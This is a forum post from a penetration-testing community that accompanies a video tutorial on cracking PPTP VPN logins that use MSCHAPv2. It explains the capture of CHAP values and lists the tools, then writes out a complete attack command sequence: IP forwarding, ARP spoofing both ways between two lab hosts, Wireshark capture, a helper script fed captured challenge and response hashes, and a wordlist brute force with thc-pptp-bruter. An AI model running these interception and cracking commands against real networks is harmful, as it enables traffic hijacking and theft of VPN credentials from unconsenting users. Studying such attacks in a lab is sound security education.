Results 1 to 10 of 21

Thread: [Video] Cracking VPNs (asleap and THC-pptp-bruter)

Threaded View

  1. #1
    Moderator g0tmi1k's Avatar
    Join Date
    Feb 2010
    Posts
    1,771

    Lightbulb [Video] Cracking VPNs (asleap and THC-pptp-bruter) // Hackig PPTP VPNs

    Links
    Watch on-line: http://g0tmi1k.blip.tv/file/3356422
    Download Video: http://www.mediafire.com/?qy4qqqk69ewzuqx
    Script
    (chap2asleap.py): http://www.mediafire.com/?wnkoyiai2ty


    What is this?
    A python script, to automatically generate the arguments for Joshua Wright's 'asleap' program.

    This video demostrates an offline (asleap) and online (THC-pptp-bruter) attack on MSCHAP v2 software VPN.

    How does this work?
    From wireshark (and a Man In The Middle attack), you can get "CHAP Challenge" and "CHAP Response". We can break theses values down:
    CHAP Challenge = Auth Challenge (16 bytes)
    CHAP Response = Peer Challenge (16 bytes) and Peer Response (24 bytes)

    After finding "Auth Challenge and Peer Challenge" we can add these to the username and hash (sha1)the result. This will generate the "Challenge".

    Once we have the challenge, we can feed this into the asleap, along with CHAP Challenge.

    This script does all the work for you (and more), it just needs the values from wireshark for it to work. As well as having the option for different styles of attack, you can either uses a dictionary/wordlist or use 'Genkeys' to generate a look up file for asleap (which is recommended). Also by using this, you can automatically run asleap with your arguments.


    What do I need?
    > asleap
    > Python
    > The script - chap2asleap.py
    > Wireshark
    > VPN
    > THC-pptp-bruter


    Software
    Name: asleap
    Version: 2.2
    Home Page: http://www.willhackforsushi.com/Asleap.html
    Download Link: http://www.willhackforsushi.com/code...asleap-2.2.tgz

    Name: THC-pptp-bruter
    Version: 0.1.4
    Home Page: http://freeworld.thc.org
    Download Link: http://freeworld.thc.org/download.ph...r-0.1.4.tar.gz

    Name: chap2asleap.py
    Version: 0.1.1
    Home Page: http://g0tmi1k.blogspot.com
    Download Link: http://www.mediafire.com/?wnkoyiai2ty


    How to use chap2asleap.py:
    1.) chmod 755 chap2asleap.py
    2.) python chap2asleap.py


    Commands:
    Code:
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
    arpspoof -i eth1 -t 10.0.0.3 10.0.0.9
    
    arpspoof -i eth1 -t 10.0.0.9 10.0.0.3
    
    wireshark -i eth1 -k
    
    python chap2asleap.py
    python chap2asleap.py -u g0tmi1k -c 3fb0e397540e8aa3df5eb08b0053092c -r df7661696051401f7192726630558ac200000000000000003c4b7c76ae82dd3050006c53d0bc6012db000acba0c5fec600 -x -v
    
    cd /pentest/passwords/wordlists
    cat darkc0de.lst | thc-pptp-bruter -u g0tmi1k -n 99 -l 999 10.0.0.3
    Notes:
    Song: Two Fingers - Keman Rhythm
    Video length: 03:03
    Capture length: 5:48

    Blog Post: http://g0tmi1k.blogspot.com/2010/03/...2asleappy.html
    Forum Post: http://www.backtrack-linux.org/forum....html#post7959
    Last edited by g0tmi1k; 03-05-2011 at 02:47 PM.
    Have you...g0tmi1k?

Similar Threads

  1. [Video] Cracking WiFi - WEP with a client (aircrack-ng)
    By g0tmi1k in forum BackTrack Videos
    Replies: 7
    Last Post: 04-18-2011, 04:09 AM
  2. WEP cracking with the PS3
    By dontt in forum Beginners Forum
    Replies: 1
    Last Post: 02-28-2010, 11:05 PM
  3. new senario of cracking wep i need help plz.
    By reslan_912 in forum Beginners Forum
    Replies: 0
    Last Post: 02-27-2010, 06:41 PM
  4. Difficulty with wpa cracking - help!
    By pete14_ in forum Beginners Forum
    Replies: 1
    Last Post: 02-19-2010, 03:51 PM
  5. wep cracking atheros
    By Dias[CZ] in forum Beginners Forum
    Replies: 3
    Last Post: 01-28-2010, 11:25 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •